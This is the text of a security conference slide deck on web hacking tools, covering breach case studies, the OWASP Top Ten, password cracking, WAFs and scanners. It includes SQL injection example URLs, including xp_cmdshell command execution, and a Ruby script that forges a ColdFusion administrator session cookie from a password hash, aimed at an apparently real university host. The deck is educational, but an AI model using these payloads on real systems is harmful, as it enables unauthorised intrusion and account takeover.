Web Penetration and Hacking Tools

David Epler
Software Architect
depler@aboutweb.com
About Me

- Application Developer
- Adobe Community Professional
- Contributor to Learn CF In a Week
- OWASP Individual Member
- Created Unofficial Updater 2 to patch Adobe ColdFusion 8.0.1 & 9.0.x
About the Session

• What will **NOT** be covered
  • How to fix your code
  • How to secure your OS, Web Server, Application Server

• Go to Jason Dean’s session *Application Security Best Practices*
  • Friday, 2:45pm Islander CDEHI
About the Session

• What will be covered
  • Recent events in security and hacking
  • Demonstration of various hacking tools used against web applications
  • Quick overview of Web Application Firewalls and Web Vulnerability Scanners
About the Demos

• Virtual Machines, not live servers
  • BackTrack 5r3
  • OWASP Broken Web Apps
  • Windows 7 & Server 2008 R2

**DO NOT** perform any activities shown on any network/system or on a network connected device without proper permission!
Average number of days a network is compromised by a hacker before discovery

Down from 416 days in 2012 as reported by Mandiant M-Trends Report
Things you’ll never see in logs

• Internet search engines used for passive reconnaissance
  • Google Hacks
  • Internet Archive
  • Netcraft
  • Alexa
  • Shodan
• Not quite passive but can be hard to spot
  • Web Crawler/Spider/Mirroring
South Carolina Department of Revenue

• Compromised ~45 days, starting August 27, 2012
  • Notified by U.S. Secret Service

• Mandiant’s findings
  • 44 systems effected
  • 30+ unique pieces of malicious software & utilities
  • 74.7GB of data stolen
    • 3.3 million bank account numbers
    • 3.8 million tax returns
    • 1.9 million Social Security Numbers
South Carolina Department of Revenue

<table>
<thead>
<tr>
<th>Service Description</th>
<th>Cost</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mandiant Services</td>
<td>$500,000</td>
</tr>
<tr>
<td>1 year Experian Credit Monitoring for those affected</td>
<td>$12,000,000</td>
</tr>
<tr>
<td>Improved Information Security Capabilities</td>
<td>$800,000</td>
</tr>
<tr>
<td>Outside Legal Help</td>
<td>$100,000</td>
</tr>
<tr>
<td>Public Relations Campaign</td>
<td>$150,000</td>
</tr>
<tr>
<td>Notification of Breach</td>
<td>$740,000</td>
</tr>
<tr>
<td><strong>Cost</strong></td>
<td><strong>$14,290,000</strong></td>
</tr>
</tbody>
</table>

And the cost is still going up
ColdFusion Vulnerability Prevalence from VeraCode

Figure 19: Vulnerability Prevalence in ColdFusion Applications (Percentage of Applications Affected)
<table>
<thead>
<tr>
<th>OWASP Top Ten (2013)</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1: Injection</td>
</tr>
<tr>
<td>A2: Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3: Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4: Insecure Direct Object References</td>
</tr>
<tr>
<td>A5: Security Misconfiguration</td>
</tr>
<tr>
<td>A6: Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7: Missing Function Level Access Controls</td>
</tr>
<tr>
<td>A8: Cross Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9: Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10: Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>
SQL Injection (SQLi)

• Stacked Queries
  • http://www.victim.com/products.asp?id=1;exec +master..xp_cmdshell+'dir'

• Tautology
  • http://www.victim.com/logon.aspx?username=admin' or 1=1;--

• UNION Statements
  • http://www.victim.com/products.asp?id=12+UNION +SELECT +userid,first_name,second_name,password+FROM +customers

• Blind
Demo

• Tool
  • sqlmap
• Target
  • OWASP Broken Web Apps
    • Apache 2.2.14 + PHP 5.3.2
    • MySQL 5.1.41

• Recorded Demo
Password Cracking

- Techniques
  - Rainbow Tables
  - Brute Force
  - Dictionary/Word Lists
  - Hybrid

- RockYou.com (Dec 2009)
  - 14.3 million unique clear text passwords
25 GPU HPC Cluster

- Presented by Jeremi Gosney at Passwords^12 Conference
  - 5 - 4U Servers
  - 25 Radeon GPUs
  - Hashcat
Reported Benchmarks of 25 GPU HPC cluster

- **MD5**: 180,000,000,000 attempts per second
- **SHA1**: 63,000,000,000 attempts per second
- **BCrypt (05)**: 71,000 attempts per second
Gosney vs LinkedIn Password Hashes

Percent Cracked

30 seconds: 21%
2 hours: 53%
1 day: 64%
6 days: 90%
1, 2, 3, 4, 5?
That's amazing!
I have the same password on LinkedIn, Evernote, and Yahoo!
OWASP Top Ten (2013)

A1: Injection
A2: Broken Authentication and Session Management
A3: Cross-Site Scripting (XSS)
A4: Insecure Direct Object References
A5: Security Misconfiguration
A6: Sensitive Data Exposure
A7: Missing Function Level Access Controls
A8: Cross Site Request Forgery (CSRF)
A9: Using Components with Known Vulnerabilities
A10: Unvalidated Redirects and Forwards
Cross-Site Scripting (XSS)

- Stored
  - Attacker’s script is stored on the server (e.g. blog comments, forums) and later displayed in HTML pages, without proper filtering
- Reflected
  - HTML page reflects user input data back to the browser, without sanitizing the response
- DOM Based
Cross-Site Scripting (XSS)
Demo

- Tools
  - BeEF (Browser Exploitation Framework)
  - Metasploit
- Target
  - OWASP Broken Web Apps
    - Apache 2.2.14 + PHP 5.3.2
- Victim
  - Windows 7
    - IE 9 + Java 7 Plugin

- Recorded Demo
OWASP Top Ten (2013)

A1: Injection
A2: Broken Authentication and Session Management
A3: Cross-Site Scripting (XSS)
A4: Insecure Direct Object References
A5: Security Misconfiguration
A6: Sensitive Data Exposure
A7: Missing Function Level Access Controls
A8: Cross Site Request Forgery (CSRF)
A9: Using Components with Known Vulnerabilities
A10: Unvalidated Redirects and Forwards
Recent ColdFusion Hacks

- Stolen Data Headers from the Federal Reserve Hack (Feb 2013)
- Downed US vuln catalog infected for at least TWO MONTHS (March 2013)
- Web host Linode, hackers clash over credit-card raid claim (April 2013)
- Washington Court Data Breach Exposes 160K SSNs (May 2013)
cookies.rb

#!/usr/bin/env ruby
require 'net/http'
require 'openssl'

target site here
site = "http://harvest.cals.ncsu.edu"
path = "CFIDE/administrator/enter.cfm"

password hash value goes here
password = "70434D66D5F2732B4E8510C7C5D4169C94736783B"

salt here
salt = "1353843422114"

hash = OpenSSL::HMAC.hexdigest('sha1', "#{salt}", "#{password}"
puts "HMAC Hash => #{hash}"

finalurl = URI("#{site}#{path}"
rez = Net::HTTP.post_form(finalurl, {"cfadminPassword" => "#{hash.downcase.chomp}", "requestedURL" => "CFIDE/administrator/enter.cfm", "salt" => "#{salt}", "submit" => "login")
puts "Authenticated Cookie: \n#{rez['set-cookie']}"
Demo

- Tool
  - Published Exploit Script
- Target
  - Windows Server 2008 R2
    - IIS 7.5 + ColdFusion 10 w/ Update 9
    - Secure Profile Enabled
- Recorded Demo
GAME OVER, MAN!

If you don't secure ColdFusion, you are just making it easy for hackers and they DON'T mostly come at night.
So should you just turn everything off and unplug it?
Web Application Firewall

- Web application firewall (WAF) are used to protect web applications without the need to modify them
  - Can be an appliance, server plugin, or filter
  - Provide an additional layer of security
  - Can react faster than changing application code
  - More common in front of legacy applications
ModSecurity

- Open source, free web application firewall
  - Apache, IIS 7, Nginx, reverse proxy
- Security Models
  - Negative Security Model
  - Positive Security Model
  - Virtual Patching
  - Extrusion Detection Model
- OWASP ModSecurity Core Rule Set Project
Web Vulnerability Scanners

• Provide automated way to test web application for vulnerabilities
  • Static vs Dynamic Analysis
  • Can be challenging to setup authentication and session management
  • Can’t improvise, every web application is unique

• Usually integrated as part of Secure Software Development Life Cycle (SSDLC)
Book

by Dafydd Stuttard and Marcus Pinto
John Wiley & Sons © 2012 (912 pages)
ISBN: 9781118026472
Q&A - Thanks

• Please be sure to fill out the Session Survey

• Blog: http://www.dcepler.net
• Email: depler@aboutweb.com
• Twitter: @dcepler
Resources

• Tools
  • sqlmap
  • BeEF
  • Metasploit

• Virtual Machines/Live CDs
  • BackTrack
  • Kali Linux
  • Samurai Web Testing Framework
  • OWASP Broken Web Apps
Resources

- Security Benchmarks/Guides
  - CIS Benchmarks
  - DISA STIG
  - Microsoft Security Compliance Manager

- Securing/Patching ColdFusion
  - ColdFusion 9 Server Lockdown Guide (pdf)
  - ColdFusion 10 Server Lockdown Guide (pdf)
  - Unofficial Updater 2
Resources

• OWASP Top Ten 2013
• Shodan: The scariest search engine on the Internet
• Report: Crematoriums To Caterpillars Shodan Reveals Internet Of Things
• Google Hacking Database (GHDB)
Resources

• Web Application Firewalls
  • Commercial
    • Trustwave - WebDefend Web Application Firewall
    • Cisco - ACE Web Application Firewall
    • Citrix - NetScaler App Firewall
    • F5 - BIG-IP Application Security Manager
    • Privacyware - ThreatSentry IIS Web Application Firewall
    • Fuseguard - Foundeo
  • Free
    • Trustwave - ModSecurity
    • Microsoft - URLScan 3.1
Resources

- Web Vulnerability Scanners
  - Dynamic Scanner
    - Cenzic Hailstorm
    - HP WebInspect
    - IBM Security AppScan
  - Static Scanner
    - HP Fortify Static Code Analyzer
    - VeraCode Static
- Intercepting Proxies
  - Burp Suite
  - OWASP Zed Attack Proxy (ZAP)
Books

SQL Injection Attacks and Defense, Second Edition
by Justin Clarke
Syngress Publishing © 2012 (576 pages)
ISBN: 9781597499637

Penetration Tester’s Open Source Toolkit, Third Edition
by Jeremy Faircloth
Syngress Publishing © 2011 (465 pages)
ISBN: 9781597496278

XSS Attacks: Cross Site Scripting Exploits and Defense
by Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov and Anton Rager
Syngress Publishing © 2007 (479 pages)
ISBN: 9781597491549

Web Application Obfuscation: `-/-WAFs..dEvasion..dFilters//alert (/Obfuscation/)-' 
by Mario Heiderich, Eduardo Alberto Vela Nava, Gareth Heyes and David Lindsay
Syngress Publishing © 2011 (290 pages)
ISBN: 9781597496049
References

• Free Commercial Reports
  • Mandiant
    • M-Trends 2013 (March 2013)
    • APT1: Exposing One of China’s Cyber Espionage Units (Feb 2013)

• VeraCode
  • State of Software Security Report Volume 5 (April 2013)
References

• South Carolina Department of Revenue
  • How South Carolina Failed To Spot Hack Attack
  • Mandiant Public Incident Response Report (pdf) (Nov 2012)
  • Almost 1.5 million enroll for South Carolina credit monitoring
References

• Password Cracking
  • Jeremi Gosney - Password Cracking HPC - Passwords^12 Presentation (pdf)
  • Jens Steube - Exploiting a SHA1 Weakness in Password Cracking - Passwords^12 Presentation (pdf)
  • New 25 GPU Monster Devours Passwords In Seconds
  • Oh great: New attack makes some password cracking faster, easier than ever
  • Why passwords have never been weaker—and crackers have never been stronger
  • The Final Word on the LinkedIn Leak
  • How I became a password cracker
  • Project Erebus v2.5
  • SHA-1 crypto protocol cracked using Amazon cloud computing resources
Recent Hacks

- SQL Injection Flaw Haunts All Ruby on Rails Versions (Jan 2013)
- Critics: Substandard crypto needlessly puts Evernote accounts at risk (March 2013)
- Huge attack on WordPress sites could spawn never-before-seen super botnet (April 2013)
- Why LivingSocial’s 50-million password breach is graver than you may think (April 2013)
- Yahoo! Blind SQL Injection could lead to data leakage (April 2013)
- Common Web Vulnerabilities Plague Top WordPress Plug-Ins (June 2013)
References

• Recent Hacks
  • New York Times Hacked Again, This Time Allegedly by Chinese (Jan 2013)
  • AP Twitter feed hacked: no attack at White House (April 2013)
  • Dev site behind Apple, Facebook hacks didn’t know it was booby-trapped (Feb 2013)
  • IE 8 Zero Day Found as DoL Watering Hole Attack Spreads to Nine Other Sites (May 2013)
  • Hackers exploit critical IE bug: Microsoft promises patch (Sept 2013)
  • Many Flash, Java Users Running Older, Vulnerable Versions (Sept 2013)
  • Adobe To Announce Source Code, Customer Data Breach (Oct 2013)
  • Thousands of Sites Hacked Via vBulletin Hole (Oct 2013)
References

- XSS Attacks
  - PayPal Site Vulnerable to XSS Attack (May 2013)
  - Apple Store Vulnerable to XSS (June 2013)
  - Security company says Nasdaq waited two weeks to fix XSS flaw (Sept 2013)